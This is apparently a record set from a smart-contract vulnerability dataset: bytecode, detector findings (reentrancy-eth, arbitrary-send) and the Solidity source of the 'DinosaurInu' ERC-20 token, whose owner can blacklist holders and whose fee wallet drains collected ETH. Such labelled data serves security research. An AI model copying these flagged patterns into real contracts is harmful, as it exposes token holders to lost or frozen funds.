0040161147890612cea565b60405180910390fd5b600081116114c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114bb90612daa565b60405180910390fd5b6002600a819055506008600b819055506114dc610915565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561154a575061151a610915565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156119b557600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156115f35750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6115fc57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156116a75750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117155750601160179054906101000a900460ff165b156117e457601160149054906101000a900460ff1661173357600080fd5b670de0b6b3a764000081111561174857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061179357600080fd5b601e426117a09190612f60565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561188f5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118e55750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156118fb576002600a819055506008600b819055505b600061190630610771565b9050601160159054906101000a900460ff161580156119735750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561198b5750601160169054906101000a900460ff165b156119b35761199981611c45565b600047905060008111156119b1576119b047611adc565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611a5c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611a6657600090505b611a7284848484611f3f565b50505050565b6000838311158290611ac0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab79190612cc8565b60405180910390fd5b5060008385611acf9190613041565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611b2c600284611f6c90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611b57573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ba8600284611f6c90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611bd3573d6000803e3d6000fd5b5050565b6000600854821115611c1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1590612d0a565b60405180910390fd5b6000611c28611fb6565b9050611c3d8184611f6c90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ca3577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611cd15781602001602082028036833780820191505090505b5090503081600081518110611d0f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611db157600080fd5b505afa158015611dc5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611de991906127a6565b81600181518110611e23577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611e8a30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846111d6565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611eee959493929190612e45565b600060405180830381600087803b158015611f0857600080fd5b505af1158015611f1c573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b80611f4d57611f4c611fe1565b5b611f58848484612024565b80611f6657611f656121ef565b5b50505050565b6000611fae83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612203565b905092915050565b6000806000611fc3612266565b91509150611fda8183611f6c90919063ffffffff16565b9250505090565b6000600a54148015611ff557506000600b54145b15611fff57612022565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b600080600080600080612036876122c8565b95509550955095509550955061209486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461233090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061212985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461237a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612175816123d8565b61217f8483612495565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516121dc9190612e2a565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000808311829061224a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122419190612cc8565b60405180910390fd5b50600083856122599190612fb6565b9050809150509392505050565b600080600060085490506000683635c9adc5dea00000905061229c683635c9adc5dea00000600854611f6c90919063ffffffff16565b8210156122bb57600854683635c9adc5dea000009350935050506122c4565b81819350935050505b9091565b60008060008060008060008060006122e58a600a54600b546124cf565b92509250925060006122f5611fb6565b905060008060006123088e878787612565565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061237283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a78565b905092915050565b60008082846123899190612f60565b9050838110156123ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123c590612d4a565b60405180910390fd5b8091505092915050565b60006123e2611fb6565b905060006123f982846125ee90919063ffffffff16565b905061244d81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461237a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6124aa8260085461233090919063ffffffff16565b6008819055506124c58160095461237a90919063ffffffff16565b6009819055505050565b6000806000806124fb60646124ed888a6125ee90919063ffffffff16565b611f6c90919063ffffffff16565b905060006125256064612517888b6125ee90919063ffffffff16565b611f6c90919063ffffffff16565b9050600061254e82612540858c61233090919063ffffffff16565b61233090919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061257e85896125ee90919063ffffffff16565b9050600061259586896125ee90919063ffffffff16565b905060006125ac87896125ee90919063ffffffff16565b905060006125d5826125c7858761233090919063ffffffff16565b61233090919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156126015760009050612663565b6000828461260f9190612fe7565b905082848261261e9190612fb6565b1461265e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161265590612d6a565b60405180910390fd5b809150505b92915050565b600061267c61267784612edf565b612eba565b9050808382526020820190508285602086028201111561269b57600080fd5b60005b858110156126cb57816126b188826126d5565b84526020840193506020830192505060018101905061269e565b5050509392505050565b6000813590506126e4816134cb565b92915050565b6000815190506126f9816134cb565b92915050565b600082601f83011261271057600080fd5b8135612720848260208601612669565b91505092915050565b600081359050612738816134e2565b92915050565b60008151905061274d816134e2565b92915050565b600081359050612762816134f9565b92915050565b600081519050612777816134f9565b92915050565b60006020828403121561278f57600080fd5b600061279d848285016126d5565b91505092915050565b6000602082840312156127b857600080fd5b60006127c6848285016126ea565b91505092915050565b600080604083850312156127e257600080fd5b60006127f0858286016126d5565b9250506020612801858286016126d5565b9150509250929050565b60008060006060848603121561282057600080fd5b600061282e868287016126d5565b935050602061283f868287016126d5565b925050604061285086828701612753565b9150509250925092565b6000806040838503121561286d57600080fd5b600061287b858286016126d5565b925050602061288c85828601612753565b9150509250929050565b6000602082840312156128a857600080fd5b600082013567ffffffffffffffff8111156128c257600080fd5b6128ce848285016126ff565b91505092915050565b6000602082840312156128e957600080fd5b60006128f784828501612729565b91505092915050565b60006020828403121561291257600080fd5b60006129208482850161273e565b91505092915050565b60008060006060848603121561293e57600080fd5b600061294c86828701612768565b935050602061295d86828701612768565b925050604061296e86828701612768565b9150509250925092565b60006129848383612990565b60208301905092915050565b61299981613075565b82525050565b6129a881613075565b82525050565b60006129b982612f1b565b6129c38185612f3e565b93506129ce83612f0b565b8060005b838110156129ff5781516129e68882612978565b97506129f183612f31565b9250506001810190506129d2565b5085935050505092915050565b612a1581613087565b82525050565b612a24816130ca565b82525050565b6000612a3582612f26565b612a3f8185612f4f565b9350612a4f8185602086016130dc565b612a5881613216565b840191505092915050565b6000612a70602383612f4f565b9150612a7b82613227565b604082019050919050565b6000612a93602a83612f4f565b9150612a9e82613276565b604082019050919050565b6000612ab6602283612f4f565b9150612ac1826132c5565b604082019050919050565b6000612ad9601b83612f4f565b9150612ae482613314565b602082019050919050565b6000612afc602183612f4f565b9150612b078261333d565b604082019050919050565b6000612b1f602083612f4f565b9150612b2a8261338c565b602082019050919050565b6000612b42602983612f4f565b9150612b4d826133b5565b604082019050919050565b6000612b65602583612f4f565b9150612b7082613404565b604082019050919050565b6000612b88602483612f4f565b9150612b9382613453565b604082019050919050565b6000612bab601783612f4f565b9150612bb6826134a2565b602082019050919050565b612bca816130b3565b82525050565b612bd9816130bd565b82525050565b6000602082019050612bf4600083018461299f565b92915050565b6000604082019050612c0f600083018561299f565b612c1c602083018461299f565b9392505050565b6000604082019050612c38600083018561299f565b612c456020830184612bc1565b9392505050565b600060c082019050612c61600083018961299f565b612c6e6020830188612bc1565b612c7b6040830187612a1b565b612c886060830186612a1b565b612c95608083018561299f565b612ca260a0830184612bc1565b979650505050505050565b6000602082019050612cc26000830184612a0c565b92915050565b60006020820190508181036000830152612ce28184612a2a565b905092915050565b60006020820190508181036000830152612d0381612a63565b9050919050565b60006020820190508181036000830152612d2381612a86565b9050919050565b60006020820190508181036000830152612d4381612aa9565b9050919050565b60006020820190508181036000830152612d6381612acc565b9050919050565b60006020820190508181036000830152612d8381612aef565b9050919050565b60006020820190508181036000830152612da381612b12565b9050919050565b60006020820190508181036000830152612dc381612b35565b9050919050565b60006020820190508181036000830152612de381612b58565b9050919050565b60006020820190508181036000830152612e0381612b7b565b9050919050565b60006020820190508181036000830152612e2381612b9e565b9050919050565b6000602082019050612e3f6000830184612bc1565b92915050565b600060a082019050612e5a6000830188612bc1565b612e676020830187612a1b565b8181036040830152612e7981866129ae565b9050612e88606083018561299f565b612e956080830184612bc1565b9695505050505050565b6000602082019050612eb46000830184612bd0565b92915050565b6000612ec4612ed5565b9050612ed0828261310f565b919050565b6000604051905090565b600067ffffffffffffffff821115612efa57612ef96131e7565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612f6b826130b3565b9150612f76836130b3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612fab57612faa613189565b5b828201905092915050565b6000612fc1826130b3565b9150612fcc836130b3565b925082612fdc57612fdb6131b8565b5b828204905092915050565b6000612ff2826130b3565b9150612ffd836130b3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561303657613035613189565b5b828202905092915050565b600061304c826130b3565b9150613057836130b3565b92508282101561306a57613069613189565b5b828203905092915050565b600061308082613093565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006130d5826130b3565b9050919050565b60005b838110156130fa5780820151818401526020810190506130df565b83811115613109576000848401525b50505050565b61311882613216565b810181811067ffffffffffffffff82111715613137576131366131e7565b5b80604052505050565b600061314b826130b3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561317e5761317d613189565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6134d481613075565b81146134df57600080fd5b50565b6134eb81613087565b81146134f657600080fd5b50565b613502816130b3565b811461350d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201679e7c46308fa519ce4ad373da158e1cabcd04336823198a8a174a6e393758864736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
235
0x1f772752A1Cd1CaA0Aa003fA62Df10BaAA1e4334
/** *Submitted for verification at Etherscan.io on 2021-11-19 */ // SPDX-License-Identifier: Unlicensed //telegram @dinosaur_inu pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract DinosaurInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redis = 1; uint256 private _tax = 10; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; string private constant _name = "DinosaurInu"; string private constant _symbol = "DINO"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable _add1) { _feeAddrWallet1 = _add1; _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; emit Transfer(address(0),owner(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (from != address(this)) { _feeAddr1 = _redis; _feeAddr2 = _tax; uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { if(contractTokenBalance > 0){ swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 500000000000000000) { sendETHToFee(address(this).balance); } } } if( from == owner()){ _feeAddr2 = 0; _feeAddr1 = 0; } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount); } function reduceTax(uint256 newtax) external{ require(newtax < 6); require(_msgSender() == _feeAddrWallet1); _tax = newtax; } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function blacklistBot(address _address) external onlyOwner(){ bots[_address] = true; } function removeFromBlacklist(address notbot) external onlyOwner(){ bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061010d5760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb146102ef578063c3c8cd801461030f578063c9567bf914610324578063dd62ed3e14610339578063ef9858941461037f57600080fd5b806370a0823114610265578063715018a6146102855780638da5cb5b1461029a57806395d89b41146102c257600080fd5b806323b872dd116100dc57806323b872dd146101d4578063313ce567146101f4578063537df3b6146102105780635932ead1146102305780636fc3eaec1461025057600080fd5b806306fdde031461011957806308aad1f11461015f578063095ea7b31461018157806318160ddd146101b157600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600b81526a44696e6f73617572496e7560a81b60208201525b604051610156919061135b565b60405180910390f35b34801561016b57600080fd5b5061017f61017a3660046113c5565b61039f565b005b34801561018d57600080fd5b506101a161019c3660046113e2565b6103f6565b6040519015158152602001610156565b3480156101bd57600080fd5b50655af3107a40005b604051908152602001610156565b3480156101e057600080fd5b506101a16101ef36600461140e565b61040d565b34801561020057600080fd5b5060405160098152602001610156565b34801561021c57600080fd5b5061017f61022b3660046113c5565b610476565b34801561023c57600080fd5b5061017f61024b36600461145d565b6104c1565b34801561025c57600080fd5b5061017f610509565b34801561027157600080fd5b506101c66102803660046113c5565b610536565b34801561029157600080fd5b5061017f610558565b3480156102a657600080fd5b506000546040516001600160a01b039091168152602001610156565b3480156102ce57600080fd5b5060408051808201909152600481526344494e4f60e01b6020820152610149565b3480156102fb57600080fd5b506101a161030a3660046113e2565b6105cc565b34801561031b57600080fd5b5061017f6105d9565b34801561033057600080fd5b5061017f61060f565b34801561034557600080fd5b506101c661035436600461147a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561038b57600080fd5b5061017f61039a3660046114b3565b6109d1565b6000546001600160a01b031633146103d25760405162461bcd60e51b81526004016103c9906114cc565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6000610403338484610a03565b5060015b92915050565b600061041a848484610b27565b61046c843361046785604051806060016040528060288152602001611677602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610c79565b610a03565b5060019392505050565b6000546001600160a01b031633146104a05760405162461bcd60e51b81526004016103c9906114cc565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104eb5760405162461bcd60e51b81526004016103c9906114cc565b60108054911515600160b81b0260ff60b81b19909216919091179055565b600e546001600160a01b0316336001600160a01b03161461052957600080fd5b4761053381610cb3565b50565b6001600160a01b03811660009081526002602052604081205461040790610ced565b6000546001600160a01b031633146105825760405162461bcd60e51b81526004016103c9906114cc565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610403338484610b27565b600e546001600160a01b0316336001600160a01b0316146105f957600080fd5b600061060430610536565b905061053381610d71565b6000546001600160a01b031633146106395760405162461bcd60e51b81526004016103c9906114cc565b601054600160a01b900460ff16156106935760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103c9565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106cd3082655af3107a4000610a03565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561070657600080fd5b505afa15801561071a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061073e9190611501565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561078657600080fd5b505afa15801561079a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107be9190611501565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561080657600080fd5b505af115801561081a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083e9190611501565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d719473061086e81610536565b6000806108836000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156108e657600080fd5b505af11580156108fa573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061091f919061151e565b505060108054655af3107a400060115563ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561099557600080fd5b505af11580156109a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cd919061154c565b5050565b600681106109de57600080fd5b600e546001600160a01b0316336001600160a01b0316146109fe57600080fd5b600b55565b6001600160a01b038316610a655760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103c9565b6001600160a01b038216610ac65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103c9565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008111610b895760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103c9565b6001600160a01b03831660009081526006602052604090205460ff1615610baf57600080fd5b6001600160a01b0383163014610c4857600a54600c55600b54600d556000610bd630610536565b601054909150600160a81b900460ff16158015610c0157506010546001600160a01b03858116911614155b8015610c165750601054600160b01b900460ff165b15610c46578015610c2a57610c2a81610d71565b476706f05b59d3b20000811115